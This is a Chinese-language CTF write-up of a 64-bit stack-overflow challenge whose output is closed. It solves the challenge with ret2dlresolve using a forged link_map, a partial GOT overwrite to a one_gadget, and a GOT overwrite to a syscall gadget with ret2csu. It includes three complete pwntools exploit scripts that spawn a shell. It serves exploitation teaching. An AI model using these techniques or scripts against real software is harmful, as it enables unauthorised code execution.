ret2dlresolve 与 改写got表
ret2dlresolve 与 改写got表
前言
大概,大家会对我把ret2dlresolve
与改写got
表放在一起讲感到疑惑,其实,很多ret2dlresolve
都可以用改写got
表解决,甚至改写got
表的限制更少,应用更加广泛。
由于32
位的程序已经不太常见,故本文的题目为64
位,这就涉及到了64
位的ret2dlresolve
,而网上绝大多数资料都只对32
位下的ret2dlresolve
进行了分析,且ret2dlresolve
在32
位与64
位下的利用方式有较大区别,因此,建议不熟悉64
位下ret2dlresolve
利用方式的读者,在阅读本文前,先参考rapcy师傅的文章进行学习。
本文内容难度较低,主要就是水一篇博客。
附:本文相关附件下载地址
题目分析
逆向分析:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Please say something:");
read(0, buf, 0x200uLL);
close(1);
close(2);
return 0;
}
检查保护:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
可以看到,本题在libc-2.27
下运行,只开了NX
保护,RELRO
是Partial
,且反编译出的伪代码非常简单,漏洞也很明显:一个栈溢出,并且还溢出了较多的数据,可是却用close()
关闭了输出,意味着没有回显,故不能泄露信息(如libc
),因此,很容易想到利用ret2dlresolve
来getshell
。
64位下的ret2dlresolve
说一下在上面推荐的raycp
师傅的文章中好像没提到的一点:
在64
位下,plt
中的代码push
的是待解析符号在重定位表中的索引,而不是像32
位一样push
的偏移,且Elf64_Rela
结构体的大小为24(0x18)
个字节,这就解释了下面exp
中的0x18*reloc_index
,其实就是计算了偏移。
其他的直接按raycp
师傅文章的思路照着写即可,这里就不给出详细解释了。
exp:
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p = process("./test")
elf = ELF("./test")
libc = ELF("./libc-2.27.so")
plt0 = elf.get_section_by_name('.plt').header.sh_addr
pop_rdi_ret = 0x401223
pop_rsi_r15_ret = 0x401221
ret = 0x4011BE
def create_fake_link_map(fake_addr, known_got, reloc_index, offset):
target = fake_addr - 8 #the result you write in (any addr)
fake_link_map = p64(offset & (2**64-1)) #l_addr
fake_link_map = fake_link_map.ljust(0x30, b'\x00')
fake_jmprel = p64(target-offset) #r_offset
fake_jmprel += p64(7) #r_info
fake_jmprel += p64(0) #r_append
fake_link_map += fake_jmprel
fake_link_map = fake_link_map.ljust(0x68, b'\x00')
fake_link_map += p64(fake_addr) #l_info[5] dynstr
fake_link_map += p64(fake_addr+0x78-8) #l_info[6] dynsym
fake_link_map += p64(known_got-8) #dynmic symtab
fake_link_map += p64(fake_addr+0x30-0x18*reloc_index) #dynmic jmprel
fake_link_map = fake_link_map.ljust(0xf8, b'\x00')
fake_link_map += p64(fake_addr+0x80-8) #l_info[23] jmprel
return fake_link_map
fake_reloc_arg = 8 #just as one wishes
fake_link_map_addr = 0x404050
fake_link_map = create_fake_link_map(fake_link_map_addr, elf.got['read'], fake_reloc_arg, libc.sym['system'] - libc.sym['read'])
bin_sh_addr = fake_link_map_addr + len(fake_link_map)
payload = b'\x00'*0x28 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(fake_link_map_addr) + p64(0) + p64(elf.plt['read'])
payload += p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(plt0+6) + p64(fake_link_map_addr) + p64(fake_reloc_arg)
payload = payload.ljust(0x200, b'\x00')
p.sendafter("something:\n", payload)
payload = fake_link_map + b'/bin/sh\x00'
p.send(payload)
p.interactive()
改got表为one_gadget
通过动态调试可以发现,选用0x10a45c
的one_gadget
是可行的,并且libc_base+0x10a45c
与close
的libc
地址只有最后两个字节(4位)不同,而后三位又是确定的45c
,故只需要爆破一位(1/16
的概率),就可以将close
的got
表改为one_gadget
,再调用close()
函数,即可getshell
,此外,在本题当中,改read
的got
表改为one_gadget
也可以。
exp:
from pwn import *
context(os='linux', arch='amd64')
elf = ELF("./test")
pop_rdi_ret = 0x401223
pop_rsi_r15_ret = 0x401221
close_addr = 0x4011A9
cnt = 0
while True:
try:
p = process("./test")
cnt = cnt + 1
success("Count:\t" + str(cnt))
payload = b'\x00'*0x28
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(elf.got['close']) + p64(0)
payload += p64(elf.plt['read']) + p64(close_addr)
p.sendafter('something:\n', payload)
p.send(b'\x5c\x34')
p.sendline(b'exec 1>&0')
p.sendline(b'ls')
p.recvuntil(b'flag')
break
except:
p.close()
p.sendline(b'cat flag')
p.interactive()
改got表为syscall
可以发现,上述两种方法都需要知道libc
版本,只不过第二种方法比第一种写起来简洁,但第二种方法没有第一种稳定、通用,而接下来介绍的这种方法并不太依赖于libc
。
显然,除了上述方法中通过调用system("/bin/sh")
和打one_gadget
来getshell
以外,还有一种常见方式就是通过触发syscall
软中断来getshell
,然而,本题的ELF
源文件中并没有syscall
这个gadget
,并且,我们又无法泄露libc
信息,用libc
中的syscall
,因此,我们需要想办法创造出syscall
这个gadget
。
其实,在libc
中,read
,write
,close
,alarm
等这些函数只是对系统调用进行了简单的封装,在这些函数中都存在syscall
这个gadget
,且syscall
一般离函数的开始地址都很近,故可以将这些函数的got
表改为syscall
的地址,从而触发系统调用。
我们知道,最终需要控制寄存器如下,才能成功getshell
:
rax = 0x3b
rdi = bin_sh_addr
rsi = 0
rdx = 0
syscall
故,我们可以用ret2csu
先改写close
的got
表为syscall
的地址,有了syscall
后,再由read
读入的字节数控制rax
寄存器(同时读入/bin/sh
字符串),并用ret2csu
控制rdi
,rsi
,rdx
三个参数,最后调用触发syscall
即可。
值得一提的是,在不同libc
下,即使改同一个函数的got
表为syscall
地址,所修改的值也很可能不相同。但为何说本方法不太依赖于libc
呢?因为我们已经知道了syscall
离函数开始的地址很近,所以,即使我们不知道libc
版本,也可以爆破最后一个字节(两位)来得到syscall
,概率为1/256
,也不算太难爆破。
exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./test")
elf = ELF("./test")
gadget1_addr = 0x40121A
gadget2_addr = 0x401200
def com_gadget(addr1 , addr2 , jmp2 , arg1 , arg2 , arg3):
payload = p64(addr1) + p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(jmp2) + p64(addr2) + b'a'*56
return payload
payload = b'\x00'*0x28
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['read'], 0, elf.got['close'], 1)
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['read'], 0, 0x404050, 0x3b)
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['close'], 0x404050, 0, 0)
payload.ljust(0x200, b'\x00')
p.send(payload)
p.send(b'\xe2')
p.send(b'/bin/sh\x00' + b'\x00'*(0x3b-8))
p.interactive()
总结
主要就ret2dlresolve
以及通过覆盖低位数据来构造出需要的gadget
的思想来说几点吧。
对于NO RELERO
,.dynamic
是可修改的,只需要用read
函数把其中的.dynstr
的地址(STRTAB
的d_ptr
)修改为我们可以控制的地址,再在这个地址上伪造一个fake_dynstr
,把任意字符串替换为system
字符串,再调用.dl_fixup
,解析我们修改的字符串所对应的原函数,而_dl_fixup
最后是根据字符串也就是函数名来索引函数的,所以最后就会解析system
函数了,显然,不论32
位还是64
位都可以这么办,写起来也非常简单。
重点是,若是开启了FULL RELERO
,程序在运行之前就已经调用了ld.so
将所需的外部函数加载完成,程序运行期间不再动态加载,因此,在程序的got
表中,link_map
和dl_runtime_resolve
函数的地址都为0
,很难再利用ret2dlresolve
了(除非修改_dl_rtld_di_serinfo
低位,有小概率能恢复出ret2dlresolve
)。而此时,got
表也不再可写,不过我们可以把这种思想延伸到栈上,低位覆盖栈中合适的数据也有一定几率指向syscall
,从而配合ret2csu
来getshell
(不过实际操作起来也不那么容易)。